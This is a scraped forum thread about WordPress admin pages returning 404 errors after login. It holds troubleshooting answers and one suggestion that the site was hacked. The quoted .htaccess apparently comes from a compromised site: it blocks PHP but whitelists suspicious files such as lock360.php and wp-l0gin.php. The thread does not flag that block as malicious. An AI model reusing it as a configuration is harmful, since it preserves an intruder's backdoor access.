After successful login, I can't access any of the page (I can't create new post, I can't edit post, I can't create page, I can't access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess
but it's alright. I can't access the permalink page cause it will show 404 error.
All these were working till when I tried accessing it yesterday.
.htaccess file
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
If you don't want to utilize a plugin, you may write code to redirect 404 pages to the homepage. To do so, log in to your server and navigate to the Public HTML folder or the folder containing your website files. You may also retrieve your website files by an FTP file application such as Filezilla.
404 is a status code that tells a web user that a requested page is not available. 404 and other response status codes are part of the web's Hypertext Transfer Protocol response codes. The 404 code means that a server could not find a client-requested webpage.
@BlackPearl i tried to reach out, several times, and help you debug your your website but you didn't respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.
Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn't support those outdated themes and plugins functionalities.
having said that, i'd try to do the following steps to debug it:
wp-config.php
try to change your "DB_CHARSET"
to only "utf".index.php
file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as the wp-admin
folder is located.functions.php
file. If so, then remove those extra spaces.wp-config.php
file, define( 'WP_MEMORY_LIMIT', '256M' );I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
to
<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>
If you still cant access your website replace current htaccess with default one for testing.
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
Make sure your /wp-admin/
folder doesn't contain any .htaccess files
Delete, if there is any.
If the problem persists...
Make sure the mod_rewrite
is enabled
How to check whether mod_rewrite is enable on server?
Enable the mod, restart apache.
If the problem persists...
Check if .htaccess is allowed in Apache config
Go find your Apache config
Make sure the AllowOverride
directive is set to All
and within <Directory /var/www/your/dir/where/wp/is>
:
Remember to restart Apache.
If the problem persists...
Delete .htaccess and reset permalinks
Go to /wp-login.php
and login.
Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).
If you cannot get to the permalinks page do it programmatically, add the snippet to functions.php
:
add_action( 'init', function () {
flush_rewrite_rules( true );
}, 99 );
Refresh the page... Now your .httacces is recreated. Remove the code from functions.php
.
if the problem persists...
Try disabling plugins.
Rename the folder wp-content/plugins
to _plugins
, for example.
Refresh the page. Now your plugins are disactivated.
If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That's how you find the faulty plugin.
I think,You have been hacked. Check config file it must have some gibberish code which breaks php execution. Restore your database or atleast check it. check how many users you have. Do you have any user as admin. Try login with that user. Check your files. Try to restore from backup. Check your unix files setting may be some file s need execute permission.
https://www.malcare.com/blog/wordpress-file-permissions/
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With